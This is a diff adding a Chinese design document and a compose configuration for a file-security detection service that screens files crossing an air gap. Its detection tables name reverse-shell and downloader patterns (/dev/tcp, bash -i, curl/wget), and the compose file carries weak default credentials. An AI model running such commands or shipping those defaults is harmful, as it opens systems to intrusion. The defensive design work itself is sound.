MESHSAFE_PORT=8443 + - MESHSAFE_LOG_LEVEL=INFO + - MESHSAFE_DB_URL=postgresql+psycopg2://meshsafe:${MESHSAFE_DB_PASSWORD:-meshsafe}@postgres:5432/meshsafe + - MESHSAFE_MASTER_KEY=${MESHSAFE_MASTER_KEY:?MASTER_KEY_REQUIRED} + - MESHSAFE_ADMIN_PASSWORD=${MESHSAFE_ADMIN_PASSWORD:-admin123} + - MESHSAFE_POLICY_FILE=/app/config/policy.yaml + - MESHSAFE_CLAMAV_HOST=clamav + # API 调用方白名单:client_id:client_secret,client_id2:client_secret2 + # ⚠️ 生产环境必须替换为真实密钥,切勿把生产密钥提交到仓库 + - MESHSAFE_API_CLIENTS=${MESHSAFE_API_CLIENTS:-test-client:test-secret} + - MESHSAFE_CLAMAV_PORT=3310 + - MESHSAFE_REDIS_URL=redis://redis:6379/0 + - MESHSAFE_WORKERS=2 + - MESHSAFE_RULES_DIR=/app/rules + # uvicorn / DB 连接池(并发优化) + - UVICORN_WORKERS=${UVICORN_WORKERS:-8} + - DB_POOL_SIZE=${DB_POOL_SIZE:-30} + - DB_MAX_OVERFLOW=${DB_MAX_OVERFLOW:-50} + volumes: + - ./data/logs:/var/log/meshsafe + - ./data/temp:/tmp/meshsafe + - ./rules:/app/rules:ro + - ./config/policy.yaml:/app/config/policy.yaml:ro + - ./config/diagnostics.yaml:/app/config/diagnostics.yaml:ro + - ./data/clamav:/var/lib/clamav # 共享签名库目录(api 可写入上传的 .cvd 文件,clamd 自动热加载) + - /var/run/docker.sock:/var/run/docker.sock:ro # 诊断套件只读访问 Docker(可选;没有也能降级) + - ./data/diagnostics:/app/data/diagnostics # 诊断套件持久化(规则历史 + 日志快照) + group_add: + - "999" # docker.sock 的 GID,让 api 容器能读 + healthcheck: + test: ["CMD", "python", "-c", "import urllib.request; urllib.request.urlopen('http://localhost:8443/api/v1/health', timeout=3).read()"] + interval: 30s + timeout: 5s + start_period: 15s + retries: 3 + + # ---------- Nginx(反向代理,内网 HTTP 明文)---------- + # 外部端口 44380 → 内部 80 → api:8443 + # 无 TLS,外层防护靠光闸 + nginx: + image: nginx:1.27-alpine + container_name: meshsafe-nginx + restart: unless-stopped + networks: [meshsafe_net] + environment: + - TZ=Asia/Shanghai + depends_on: + api: + condition: service_healthy + ports: + - "0.0.0.0:44380:80" + volumes: + - ./deploy/nginx/default.conf:/etc/nginx/conf.d/default.conf:ro + +# ---------- 独立 bridge 网络 ---------- +# 容器间走服务名通信,IP 由 Docker 自动分配,无需固定网段 +networks: + meshsafe_net: + driver: bridge diff --git a/docs/00-总体方案.md b/docs/00-总体方案.md new file mode 100644 index 0000000..0ef9f8f --- /dev/null +++ b/docs/00-总体方案.md @@ -0,0 +1,1679 @@ +# MeshSafe 文件安全检测服务 · 总体方案 + +| 项目 | 内容 | +| ---- | ------------------- | +| 系统名称 | MeshSafe 文件安全检测服务 | +| 版本 | v1.0(方案稿) | +| 文档状态 | 待评审 | +| 适用场景 | 光闸内外网文件摆渡场景下的文件安全检测 | +| 合规要求 | 满足网络安全等级保护三级相关控制项 | + +*** + +## 目录 + +1. [背景与目标](#1-背景与目标) +2. [范围界定](#2-范围界定) +3. [总体架构](#3-总体架构) +4. [检测能力设计](#4-检测能力设计) +5. [安全设计](#5-安全设计) +6. [接口设计概要](#6-接口设计概要) +7. [策略与裁决模型](#7-策略与裁决模型) +8. [部署架构](#8-部署架构) +9. [在线调试台与文档体系](#9-在线调试台与文档体系) +10. [实施路线](#10-实施路线) +11. [风险与应对](#11-风险与应对) +12. [长期演进预研(非本期实施内容)](#12-长期演进预研非本期实施内容) +13. [待确认事项](#13-待确认事项) + +*** + +## 1. 背景与目标 + +### 1.1 现状 + +现有系统为一套基于光闸的内外网数据交换系统,核心能力是文件摆渡、解包与展示,并支持按预设文件格式限制上传。当前缺少针对被摆渡文件的独立安全检查能力,文件"能不能传"仅由格式白名单决定,无法回答"这个文件本身是否安全"。 + +### 1.2 目标 + +建设一个**独立部署、可被外部应用调用的专用检测服务**,对摆渡文件执行多层次安全检查,向调用方返回结构化的检测结论与处置建议。 + +核心目标: + +| 编号 | 目标 | +| -- | --------------------------------------- | +| G1 | 提供 RESTful 检测接口,外部应用(光闸摆渡系统)可调用并获得结构化结论 | +| G2 | 覆盖恶意性、可执行性、合规性三类风险判据 | +| G3 | 全组件私有化部署,运行期不依赖公网 | +| G4 | 满足等保三级相关控制项(身份鉴别、访问控制、安全审计、数据完整性与保密性等) | +| G5 | 检测引擎、签名规则、裁决策略均可独立升级,不与摆渡软件耦合 | +| G6 | 提供在线自测控制台,降低对接方联调成本 | + +### 1.3 方向定位:一期只做「外网 → 内网」 + +本服务一期聚焦**外网向内网传入**方向的检测,**内网向外网传出方向的内容审计暂不纳入**,列为待定项。 + +| 方向 | 一期范围 | 说明 | +| ----------- | ------ | -------------------------------- | +| **外网 → 内网** | ✅ 完整覆盖 | 核心风险是"外部文件伤到内网",即恶意代码与可执行性风险 | +| 内网 → 外网 | ⏸ 待定 | 核心风险是"内部内容违规外泄",属内容审计范畴,依赖业务场景建模 | + +**为什么一期不内做内容审计** + +外发方向的内容审计需要回答"这段内容是否允许离开内网",其判定依据是**业务规则**——哪些案件材料涉密、哪些个人信息不得外传、哪些类型需审批。这些规则高度依赖具体业务场景与密级标准,在场景未明确前设计检测逻辑,产出大概率不可用。 + +相比之下,内入方向的判定依据是**技术事实**(这个文件是否有害),与业务规则耦合度低,可以立即工程化。 + +**架构上为后续预留**:内容审计所需的"文本抽取 → 分类 → 规则裁决"链路,与本方案 L0 文本准备层、策略引擎的形态完全一致。届时只需新增 L-S 语义层与内容规则集,不需重构架构。 + +### 1.4 非目标(明确不做) + +| 不做项 | 原因 | +| ---------------- | ------------------------------------- | +| 内容清洗 / 文件改写 | 本服务只做"判定",不做"加工"。原文件仍由摆渡系统处置 | +| 解包后内容对外输出 | 用户已明确不返回解包内容,仅返回检测结论 | +| 用户 / 权限 / 文档管理系统 | 独立成品的检测服务,不做 OA 能力 | +| 动态沙箱(P4 一期不实现) | 资源开销大、对光闸场景收益有限,架构预留 | +| **内网外发内容审计** | 一期聚焦外网→内网方向;外发方向依赖业务密级规则,场景待定(见 §1.3) | +| 内容敏感信息识别 | 与恶意代码检测属不同问题域,一期不做 | + +*** + +## 2. 范围界定 + +### 2.1 风险判据分类 + +光闸场景下,"外网传入的文件是否安全"实际包含三类相互独立的判据。原方案仅覆盖第一类,这是需要补齐的核心缺口。 + +| 判据 | 关注点 | 典型风险 | 主要覆盖层 | +| -------- | ---------- | ---------------------- | ------------------ | +| **恶意性** | 会不会伤到内网 | 病毒、木马、勒索、挖矿 | L1 ClamAV、L2B YARA | +| **可执行性** | 传进去会不会自动运行 | VBA 宏、DDE、双扩展名、内嵌可执行对象 | L0 结构层、L2 文档深度 | +| **合规性** | 是不是不允许传的东西 | 类型不符、超大文件、加密压缩包、路径穿越 | L0 结构层、全局策略 | + +> **关键结论**:可执行性判据在光闸场景中发生频率最高。一个带宏的 `.docx` 在 ClamAV 判定为"干净",但在内网被双击打开时宏即刻执行。因此本方案将 L2 文档深度检测与全局格式策略作为重点,而非动态沙箱。 + +### 2.1.1 方向差异带来的重点偏移 + +一期只做外网→内网,因此三类判据的权重与内网外发方向不同: + +| 判据 | 外网→内网(一期) | 内网→外网(待定) | +| ---- | ---------------- | ----------------- | +| 恶意性 | **核心**,权重最高 | 次要 | +| 可执行性 | **核心**,权重最高 | 次要 | +| 合规性 | 次要(类型/大小/密级约束较弱) | **核心**(涉及密级与外传审批) | +| 内容语义 | 辅助(识别伪装与诱导) | **核心**(识别涉密与违规内容) | + +这解释了为什么一期的能力重心放在**恶意性 + 可执行性**上,以及为什么大模型在内入方向的定位是"识别伪装与诱导"而非"判定涉密"。 + +### 2.2 支持的输入格式 + +| 类别 | 格式 | +| ------------- | --------------------------------------------------------------------------------------- | +| Office 文档 | doc / docx / docm / xls / xlsx / xlsm / ppt / pptx / pptm / rtf / odt / ods / odp | +| PDF | pdf | +| 归档 | zip / rar / 7z / tar / gz / bz2 / xz / cab / iso / jar / apk | +| 图像 | jpg / jpeg / png / gif / bmp | +| Windows 可执行 | exe / dll / msi / scr / com / cpl / jar / apk | +| **Linux 可执行** | **.elf / .so / .desktop / .appimage / .deb / .rpm / .run / .bin / .snap / .flatpak** | +| 脚本 | bat / cmd / ps1 / vbs / vbe / js / jse / hta / wsf / **sh / bash / zsh / py / pl / rb** | +| 文本 | txt / csv / json / xml / html / log | + +### 2.3 单文件与批量限制 + +| 约束 | 默认值 | 配置项 | +| -------- | ------- | ------------------------------- | +| 单文件大小上限 | 50 MB | `policy.global.max_file_size` | +| 同步模式处理上限 | 50 MB | `policy.global.sync_max_size` | +| 上传硬上限 | 2048 MB | `MESHSAFE_MAX_UPLOAD_MB` | +| 解包深度上限 | 5 层 | `MESHSAFE_MAX_EXTRACT_DEPTH` | +| 解包总量上限 | 4096 MB | `MESHSAFE_MAX_EXTRACT_TOTAL_MB` | +| 压缩比上限 | 100:1 | `MESHSAFE_MAX_EXTRACT_RATIO` | + +*** + +## 3. 总体架构 + +### 3.1 分层视图 + +``` +┌──────────────────────────────────────────────────────────────┐ +│ 接入层 API 网关 · mTLS/Token 认证 · 限流 · 请求/响应签名 │ +├──────────────────────────────────────────────────────────────┤ +│ 接收层 文件接收 · 类型识别 · 递归解包 · 哈希计算 │ +├──────────────────────────────────────────────────────────────┤ +│ 检测层 L0 结构 │ L1 ClamAV │ L2 文档 │ L2B YARA/二进制 │ +├──────────────────────────────────────────────────────────────┤ +│ 裁决层 策略引擎 · 风险评分 · 处置动作映射 │ +├──────────────────────────────────────────────────────────────┤ +│ 留存层 结论存储 · 审计日志(哈希链)· 报告生成 │ +└──────────────────────────────────────────────────────────────┘ +``` + +### 3.2 关键架构决策 + +#### 决策 1:独立服务,不嵌入摆渡软件 + +**理由**:摆渡软件负责数据搬运(数据平面),检测服务负责安全判定(控制平面)。若耦合,升级检测引擎就必须重新发布摆渡软件——在政务/法院内网环境下,这是不可接受的发布风险。 + +**后果**:需要设计稳定的接口契约,接口版本必须严格管理(见 §6.6)。 + +#### 决策 2:检测引擎作为独立进程组 + +ClamAV 守护进程、YARA 规则库、文档解析库在容器内独立运行或独立容器化。好处: + +* 引擎崩溃不影响 API 服务的可用性(引擎异常被捕获并降级为"引擎不可用"信号) +* 引擎可独立升级(ClamAV 签名库每日更新不影响应用镜像) +* 资源可独立限制(clamd 内存占用大,需单独限制) + +#### 决策 3:同步与异步双模式 + +| 模式 | 触发条件 | 行为 | +| -- | -------------------------- | ----------------------- | +| 同步 | 文件 ≤ `sync_max_size` 且不需沙箱 | 请求内完成检测并直接返回结论 | +| 异步 | 文件超限或命中强制沙箱规则 | 返回 `task_id`,调用方轮询或等待回调 | + +**理由**:同步模式延迟低(摆渡业务最常用);异步模式避免 HTTP 长连接超时给网关造成压力,也让未来接入沙箱时无需改动接口。 + +#### 决策 4:检测在隔离区完成,单向数据流 + +``` +摆渡系统 ──── 文件内容 ────▶ 检测服务 ──── 检测结论 ────▶ 摆渡系统 + │ + └── 绝不主动连外网 +``` + +检测服务不修改、不回写被检文件。病毒库与规则库通过**单向导入**方式更新(见 §8.3)。 + +#### 决策 5:全局单策略 + +按用户确认,本期采用**全局单策略**,不按业务通道区分。策略引擎在实现上保留通道扩展位(`channel` 字段贯穿全链路),后续扩展无需重构。 + +*** + +## 4. 检测能力设计 + +### 4.1 五层流水线总览 + +| 层 | 引擎 | 检查对象 | 关键信号 | 典型时延 | +| ------- | --------------------- | ----------------- | ----------------------------------------------- | ---- | +| **L0** | structure / extractor | 全部文件 | 扩展名伪装、双扩展名、危险可执行类型、zip bomb、路径穿越、嵌套过深 | 毫秒 | +| **L0** | link / shortcut | LNK 等 | 目标指向可执行体或远程路径 | 毫秒 | +| **L1** | ClamAV | 全部文件 | 已知木马 / 勒索 / 挖矿签名命中、启发式检测 | 秒 | +| **L2** | oletools / PDF 解析 | Office、PDF、RTF、脚本 | VBA 宏、DDE/DDEAUTO、嵌入对象、PDF JavaScript、外部链接、脚本混淆 | 秒 | +| **L2C** | links / qrcode | 文档与图片 | 外部 URL、二维码内容、可疑域名 | 秒 | +| **L2B** | YARA / pefile | PE、脚本、内存马 | 家族规则命中、危险能力组合、壳与免杀、签名异常 | 秒 | +| **L3** | 沙箱(长期可选项) | 可执行文件 | 释放文件、持久化、外联 C2 | 分钟 | + +> **场景定位**:本服务的文件最终由**人工在内网终端打开**,自动化处理极少。这一前提决定了能力重心——所有「打开即执行」的载体必须零容忍拦截(见 §4.8)。 + +### 4.2 L0 结构与完整性层 + +这一层最快、最廉价,却能挡掉大量"人工伪装"类攻击,是性价比最高的一层。 + +#### 4.2.1 真实类型识别 + +* 双引擎识别:`libmagic`(python-magic)+ 内置魔数表作为兜底 +* **不信任扩展名**,一律以内容判定真实类型 +* OOXML 容器(docx/xlsx/pptx)通过检查内部部件名区分,避免被误判为普通 zip + +#### 4.2.2 伪装检测规则 + +| 规则名 | 触发条件 | 默认严重度 | +| ------------------------------ | --------------------------- | --------------- | +| `ExtensionMismatch` | 声明扩展名与真实类型不相容 | HIGH | +| `DoubleExtension` | 文件名含两个以上扩展名,且前缀为危险类型 | HIGH | +| `DangerousExecutableExtension` | 顶层文件为 exe/scr/dll/com/pif 等 | CRITICAL / HIGH | +| `ArchiveContainsExecutable` | 归档内含可执行成员 | HIGH | +| `ArchiveBombSuspect` | 压缩比超过阈值 | HIGH | +| `ArchiveTooLarge` | 解压总量超限 | HIGH | +| `PathTraversal` | 归档内含路径穿越条目 | CRITICAL | +| `ArchiveTooManyMembers` | 归档成员数异常(>10000) | MEDIUM | + +#### 4.2.3 递归安全解包 + +**这是最容易被遗漏、也是最关键的一环。** 只扫描外层压缩包是最常见的绕过手法。 + +安全约束(全部强制执行): + +| 约束 | 行为 | +| ----- | ------------------------------------ | +| 解包深度 | 超过 `max_extract_depth` 停止并记录信号 | +| 解压总量 | 累计超过 `max_extract_total_mb` 停止 | +| 单成员大小 | 超过单文件上限则跳过该成员 | +| 压缩比 | 单成员压缩比超阈值则跳过并记录 `ArchiveBombBlocked` | +| 路径穿越 | 拦截含 `..`、绝对路径、盘符的条目 | +| 符号链接 | tar 中的 symlink/hardlink 一律拦截 | +| 文件名 | 解包后文件名重写为安全形式,原始名保留在逻辑路径中供追溯 | + +解包出的文件**自动进入待检测队列**,形成递归检测。 + +#### 4.2.4 加密文件识别 + +* Office 加密文档 → `PdfEncrypted` / 加密标记信号 +* 加密压缩包 → 记录为不可静态分析 + +按策略,加密文件默认**拒绝**(无法确认安全),除非策略显式放开。 + +### 4.3 L1 ClamAV 层 + +#### 4.3.1 部署方式 + +使用 `clamd` 常驻守护进程(TCP 或 Unix Socket),而非 `clamdscan` 一次性调用。理由:签名库加载到内存需数秒至数十秒,常驻模式可支撑并发扫描。 + +#### 4.3.2 离线签名库更新机制 + +这是内网部署最容易失效的环节,必须做成自动化流程: + +``` +外网侧签名库同步机 + │ 每日定时执行 freshclam,拉取官方 CVD + ▼ +本地私有镜像(cvdupdate 模式 / freshclam 私有镜像模式) + │ 通过单向导入介质(摆渡光闸 / 刻录介质)传入内网 + ▼ +内网签名库分发节点 + │ 内网节点增量同步 + ▼ +clamd 容器(签名库版本记入扫描结果 meta) +``` + +**要求**:签名库版本号与更新时间必须包含在检测结果中,作为检测有效性的举证材料。 + +#### 4.3.3 命中强度分级 + +ClamAV 2025 起区分三类命中强度,建议在策略中区分对待: + +| 类型 | 含义 | 本方案处置 | +| -------------------- | ------------- | ---------------- | +| Strong Indicator | 传统签名命中,扫描立即中止 | 视为确凿恶意 | +| Potentially Unwanted | 可疑软件,扫描结束时告警 | 视签名关键词判定为 MEDIUM | +| Weak Indicator | 低置信度命中 | 降权处理 | + +### 4.4 L2 文档深度检测层 + +**本方案的重点层**,直接对应光闸场景最高频的实际风险。 + +| 格式 | 工具 | 检测内容 | +| ---------------------- | ------------------ | ------------------------------------------------------ | +| doc / docm / xls / ppt | `oletools.olevba` | VBA 宏提取与代码分析 | +| 同上 | `oletools.mraptor` | 宏的整体启发式判定(AutoExec + 可疑关键词 + 编码字符串) | +| 同上 | `oletools.msodde` | DDE / DDEAUTO 自动执行字段 | +| 同上 | `oletools.oleobj` | 内嵌 OLE 对象,识别内嵌可执行体 | +| docx / xlsx / pptx | 自研 OOXML 解析 | 外部链接部件、嵌入对象、外部 URI、附加模板、DDEAUTO、文档变量 | +| pdf | `pypdf` | JavaScript 动作、LaunchAction、OpenAction、外部 URI、内嵌文件、加密状态 | +| rtf | `oletools.rtfobj` | OLE 嵌入对象 | +| ps1 / bat / vbs / js | 正则特征集 | 编码命令、Base64 解码执行、下载器、隐藏窗口、关闭防护、勒索前置行为 | + +#### 4.4.1 VBA 宏判定分级 + +| 条件 | 规则名 | 严重度 | 默认权重 | +| ---------------------------------- | -------------------- | -------- | ---- | +| 自动执行入口 + 调用系统命令/外联 | `VBAAutoExecShell` | CRITICAL | 80 | +| 调用 Shell / CreateObject | `VBAShellInvocation` | HIGH | 55 | +| 含自动执行入口(AutoOpen / Workbook_Open) | `VBAAutoExec` | HIGH | 45 | +| 含外部链接 | `VBAExternalLink` | MEDIUM | 25 | +| 含疑似编码/混淆长串 | `VBAEncodedString` | MEDIUM | 20 | +| 仅含宏,无明显恶意特征 | `VBAMacroPresent` | LOW | 15 | + +#### 4.4.2 规则覆盖机制 + +关键规则在策略文件中配置**强制处置**,不依赖评分累加: + +```yaml +rule_overrides: + MRaptorAutoExecSuspicious: + action: reject + reason: "文档宏具备自动执行且包含可疑行为,按策略直接拒绝" + DDEAutoExecution: + action: reject + reason: "检测到 DDE/DDEAUTO 自动执行字段,按策略直接拒绝" +``` + +*** + +### 4.5 L2B YARA 与二进制分析层 + +| 组件 | 用途 | +| -------- | ------------------------------- | +| YARA | 通用规则库 + 环境专属规则(如针对内部文书模板名的钓鱼文件) | +| pefile | PE 节区熵值、导入表分析、签名目录检查、编译时间戳 | +| capa(可选) | 可执行文件能力识别(持久化、注入、加密、HTTP 通信) | + +规则严重度依据规则名与标签自动判定: + +| 标签 / 关键词 | 严重度 | 权重 | +| --------------------------------------------------------- | -------- | -- | +| critical / malware / ransomware / backdoor / c2 / exploit | CRITICAL | 85 | +| high / trojan / dropper / obfusc / shellcode | HIGH | 60 | +| medium / suspicious / pua / packer | MEDIUM | 30 | +| 其他 | LOW | 10 | + +**规则库维护要求**:规则库需版本管理与定期回归测试集,否则半年后必然出现大量误报或漏报。 + +### 4.6 L3 动态沙箱层(长期可选项,一期不实现) + +#### 4.6.1 一期不实现的理由 + +1. **环境不匹配**:CAPE / DRAKVUF 依赖 Windows 客体与裸金属虚拟化(Intel VT-x + EPT),与内网国产化终端环境不匹配 +2. **资源开销**:典型配置 4C8G 起,单样本运行 3\~5 分钟,全量沙箱在吞吐上不可行 +3. **场景收益有限**:本场景以文档为主,静态分析对文档类样本覆盖度已较高;沙箱真正适用面窄(仅加壳二进制、镜像类) +4. **投入产出失衡**:一套沙箱环境的投入 ≈ 整个检测服务的开发投入 + +#### 4.6.2 保留的接口语义 + +异步模式与 `sandbox_required_extensions` 配置项在策略中保留,未来接入沙箱时无需改动接口与策略结构。 + +| 项目 | 设计 | +| ---- | --------------------------------------------- | +| 触发条件 | 策略命中 `sandbox_required_extensions`(一期不生效,仅占位) | +| 替代措施 | 对高危解析路径(字体、图像、压缩流、复合文档)增加结构完整性校验与畸形构造检测 | +| 接口影响 | 无。异步模式已预留 `task_id` 语义 | + +### 4.7 引擎降级与失败处理 + +任一引擎不可用(进程崩溃、连接超时、库加载失败)时: + +1. 记录为"引擎不可用"信号,**不中断整个扫描** +2. 由策略的 `engine_failure_mode` 决定整体处置 +3. 生产环境配置为 `fail_closed`(拒绝),符合等保"安全优先"原则 + +### 4.8 「打开即执行」载体零容忍(核心设计) + +#### 4.8.1 为什么这是核心 + +本场景的关键前提是:**文件最终由人工在内网终端打开,自动化处理极少**。因此"文件打开即执行"的所有载体构成最高风险敞口——这类攻击不需要用户任何操作,一次双击即完成入侵。 + +传统杀毒以"是否为已知恶意样本"为判据,但在本场景下判据应改为"**是否存在打开即执行的载体**"。 + +#### 4.8.2 目标终端与威胁模型 + +本方案一期的目标终端是 **麒麟桌面/UOS(x86_64)+ WPS Office**。这是纯 Linux 桌面环境,与之前方案隐含的 Windows 兼容路线有本质差异——部分 Windows 专属载体在内网终端上不适用(如 LNK 快捷方式),同时存在 Linux 专属威胁载体(如 ELF、.desktop)。 + +**纵深防御原则**:即使内网是 Linux,Windows 威胁仍保持检测——因为文件可能通过其他路径最终到达 Windows 机器(运维人员的 Windows 工作站、外接 Windows 设备等)。但威胁等级按内网终端环境加权。 + +#### 4.8.3 载体清单与判定方式(按 Linux 适用性分层) + +**A. 跨平台通用载体(Linux 上同样有效)** + +| 载体 | 触发条件 | Linux 上是否生效 | 判定方式 | 规则名 | +| ---------------- | ------- | ------------------------ | ------- | ------------------- | +| PDF JavaScript | 打开即执行脚本 | ✅ 麒麟默认 PDF 阅读器和浏览器都支持 JS | pypdf | `PdfJavaScript` | +| PDF LaunchAction | 打开即启动程序 | ✅ Linux PDF 阅读器会触发 | pypdf | `PdfLaunchAction` | +| PDF OpenAction | 打开即执行动作 | ✅ | pypdf | `PdfOpenAction` | +| 宏代码混淆 / 加密 | 意图不可知 | ✅ 与平台无关 | 编码特征检测 | `MacroObfuscated` | +| 路径穿越条目 | 解包时逃逸 | ✅ | 结构校验 | `PathTraversal` | +| ISO / 镜像 | 双击即挂载 | ✅ UOS 可直接挂载 | 挂载后递归扫描 | `IsoWithExecutable` | + +**B. 宏相关(WPS on Linux 需实测验证)** + +VBA 宏检测的核心逻辑(行为分析、危险 API 识别、混淆检测)是**跨平台**的——不管宏最终在哪个 Office 实现中运行,代码本身的危险特征(调用 Shell、下载文件、混淆加密)都可以被静态识别。差异在于 AutoOpen 等自动执行入口在 WPS on Linux 上是否与 Office on Windows 行为一致。 + +> **待实测**:AutoOpen / Workbook_Open 在 WPS on 麒麟/UOS 上是否在打开时自动触发;Shell / CreateObject 调用在 WPS on Linux 上是否有效。这项验证在 P0 开发前必须完成(见 §13 Q15 已确认,补充方案见 §4.8.4)。 + +| 载体 | 触发条件 | 判定方式 | 规则名 | +| -------------- | ----------------------- | ---------------- | ---------------------------------- | +| VBA 宏 AutoOpen | 打开即触发(WPS on Linux 需实测) | oletools + 宏行为分析 | `VBAAutoExec` / `VBAAutoExecShell` | +| DDE / DDEAUTO | 打开即触发(WPS on Linux 需实测) | msodde | `DDEAutoExecution` | +| 外部模板注入 | 打开即触发 | OOXML 解析 | `AttachedTemplate` | +| 内嵌可执行对象 | 点击确认后执行 | oleobj | `EmbeddedExecutable` | + +**C. Windows 专属载体(Linux 上无直接威胁,降级为纵深防御)** + +以下载体在内网麒麟桌面/UOS 终端上**不生效**,但保持检测——文件可能流向 Windows 工作站: + +| 载体 | 触发条件 | Linux 上生效? | 处置定位 | 规则名 | +| -------- | ------- | ----------------------- | -------------------- | ----------------- | +| LNK 快捷方式 | 点击即执行 | ❌ Linux 不识别 .lnk 格式 | 纵深防御(文件可能流向 Windows) | `LnkWithAutoExec` | +| CHM 帮助文件 | 打开即执行脚本 | ❌ Linux 上需专门查看器,默认不自动执行 | 纵深防御 | `ChmWithScript` | + +**D. Linux 专属载体(之前方案遗漏,一期必须补充)** + +| 载体 | 触发条件 | 判定方式 | 规则名 | +| ------------------------------------ | ------------------------ | ------------------------------------------------------------ | -------------------------- | +| **ELF 可执行文件** | Linux 原生二进制,直接运行 | 真实类型识别 + 签名/熵值分析 | `LinuxExecutable` | +| **.desktop 快捷方式** | 包含 `Exec=` 字段指向程序或 shell | .desktop 文件解析,检查 Exec 字段中是否包含 `/bin/sh -c`、`wget/curl`、隐藏命令等 | `DesktopFileAutoExec` | +| **Shell / Python / Perl / Ruby 等脚本** | 直接可执行,或被其他程序调用 | 脚本特征提取 + 危险函数识别(system/eval/exec/shell\=True 等) | `ShellScriptDangerous` | +| **AppImage / Flatpak / Snap 包** | 跨发行版便携可执行格式,双击即运行 | 真实类型识别,内部可执行递归扫描 | `LinuxPortableExecutable` | +| **压缩包内的 .sh / .deb / .run / .bin** | Linux 下解压即可执行 | 递归解包 + 真实类型识别 | `ArchiveContainsLinuxExec` | + +#### 4.8.4 零容忍规则集(更新版,含 Linux 专属) + +上述规则中的多数归入**零容忍规则集**,命中即拒绝,**不走评分累加**: + +```yaml +zero_tolerance_rules: + # === 跨平台通用 === + - PdfJavaScript + - PdfLaunchAction + - PdfOpenAction + - PathTraversal + - IsoWithExecutable + - MacroObfuscated + - AttachedTemplate + + # === 宏相关(WPS on Linux 生效)=== + - VBAAutoExec + - VBAAutoExecShell + - MRaptorAutoExec + - MRaptorAutoExecSuspicious + - DDEAutoExecution + - EmbeddedExecutable + + # === Linux 专属(新增)=== + - LinuxExecutable + - DesktopFileAutoExec + - ShellScriptDangerous + - LinuxPortableExecutable + - ArchiveContainsLinuxExec + + # === Windows 专属(纵深防御)=== + - LnkWithAutoExec + - ChmWithScript +``` + +> **Linux 专属载体一期优先级**:ELF 和 shell 脚本识别已包含在 L0 结构层的真实类型识别和 L2 文档检测中(脚本特征提取 + 正则),一期直接生效;.desktop 文件、AppImage/Flatpak 的专用解析器在 P0 中一并实现。 + +**为什么零容忍要独立于评分模型**:评分是相对度量(权重累加过阈值才拒绝),而"打开即执行"是绝对问题——一个宏文档哪怕只命中一条,也应直接拒。零容忍用独立机制表达,避免依赖权重调参。 + +#### 4.8.5 宏行为分级(从「类型黑名单」到「行为白名单」) + +内网人员需要打开带宏的公文模板(自动编号、签章定位等),因此不能简单地把"含宏"等同于"拒绝"。判定依据必须是**宏做了什么**,而非**有没有宏**: + +| 宏的实际行为 | 风险 | 判定 | 处置 | +| ------------------ | --------- | ----------------- | ------------- | +| 自动执行 + 调用系统命令 / 外联 | 极高 | 特征组合 + 编码特征 | **零容忍,拒绝** | +| 宏代码被混淆 / 加密 | 极高(意图不可知) | 编码特征检测 | **零容忍,拒绝** | +| 自动执行 + 仅本地无害操作 | 低 | 无危险 API、无网络、无文件写入 | **放行(可登记例外)** | +| 无自动执行,仅手动触发 | 中 | 特征分析 | 标记放行 / 转复核 | + +**实现方式**:判定"宏做了什么"靠的是**危险 API 调用清单** + **自动执行入口存在性** + **混淆特征**三项的组合,而非单纯的宏存在性。 + +#### 4.8.5a 危险 API 清单(跨平台 + Linux 等价物) + +原来的危险 API 清单是 Windows 专属的。以下补充 Linux 桌面环境下的等价威胁调用: + +**Windows 专属(宏中识别,文件可能流向 Windows 工作站)** + +| API | 含义 | 威胁等级 | +| ------------------------------------------- | -------------- | ------ | +| `Shell()` | 执行外部程序 | HIGH | +| `CreateObject("wscript.shell")` | 脚本宿主对象,可执行任意命令 | HIGH | +| `URLDownloadToFile()` / `MonikerDownload()` | 下载文件到本地 | HIGH | +| `CreateObject("MSXML2.XMLHTTP")` | HTTP 请求(常配合下载) | HIGH | +| `PowerShell` / `cmd.exe` / `net.exe` 调用 | Windows 系统命令 | HIGH | +| 注册表写入(`HKEY_LOCAL_MACHINE` 等) | 持久化 | MEDIUM | + +**Linux 等价物(宏在 WPS on Linux 中调用的系统接口)** + +| 调用特征 | 含义 | 威胁等级 | +| -------------------------------------------------------- | --------------------------------- | -------- | +| `Shell()` → 执行 `/bin/sh -c "..."` | Linux 下 Shell 函数通过 `/bin/sh` 执行命令 | HIGH | +| `CreateObject("com.sun.star.system.SystemShellExecute")` | WPS/Office on Linux 执行外部程序的标准接口 | HIGH | +| `ShellExecute` → `curl` / `wget` 下载 | Linux 下常见下载器 | HIGH | +| Shell 命令中含 `cron` 写入 / `systemctl enable` | 持久化 | HIGH | +| Shell 命令中含 `/tmp` / `/var/tmp` 写入 | 落地可执行文件 | MEDIUM | +| Shell 命令中含 `/dev/tcp/` / `bash -i` | 反弹 Shell / 反向连接 | CRITICAL | + +> **注意**:以上 Linux 等价物是基于 WPS on Linux 的技术特性推断。§4.8.5b 的实测验证将确认这些调用在 WPS on 麒麟/UOS 上是否真的有效。 + +#### 4.8.5b WPS on Linux 需实测的验证点 + +宏行为分级逻辑**核心是跨平台的**——基于宏代码的危险特征组合判定。差异在于这些特征在目标终端上是否可利用。以下验证项需在 P0 开发前完成: + +| 验证项 | 说明 | 验证方式 | +| ------------------------------------------------ | ------------------------------------ | ----------------------------------------------------------------------------------- | +| AutoOpen / Workbook_Open 在 WPS on 麒麟/UOS 是否自动触发 | 决定 `VBAAutoExec` 在 Linux 上的威胁等级 | 制作含 AutoOpen 的 docm 文件,在 WPS on 麒麟桌面打开观察 | +| Shell / CreateObject 在 WPS on Linux 是否有效 | 决定"自动执行 + 调用系统命令"场景在 Linux 上是否可利用 | 宏内写 `Shell "ls"` 或 `Shell "/bin/sh -c 'echo test > /tmp/pwned'"`,在 WPS on Linux 上测试 | +| `/dev/tcp/` / `bash -i` 在宏内能否实现反向连接 | 决定 Linux 下反弹 Shell 的实际威胁 | 宏内写反弹 Shell 命令,测试是否成功 | +| DDE / DDEAUTO 在 WPS on Linux 是否生效 | 决定 `DDEAutoExecution` 在 Linux 上的实际威胁 | 构造含 DDEAUTO 的文档,在 WPS on Linux 上打开 | + +> **安全优先**:在验证完成前,宏相关零容忍规则保持**默认生效**。即使 AutoOpen 在 Linux 上不自动触发,宏代码本身的危险特征(混淆、Shell 调用、反弹 Shell 尝试)仍足以触发零容忍。 + +#### 4.8.6 解析器漏洞的处理边界 + +`MalformedStructure`(畸形结构)不进入零容忍集,仅降权处理。理由: + +| 考量 | 说明 | +| ------ | -------------------------------- | +| 无法判定 | 畸形结构既可能是攻击构造,也可能是正常的软件兼容产物 | 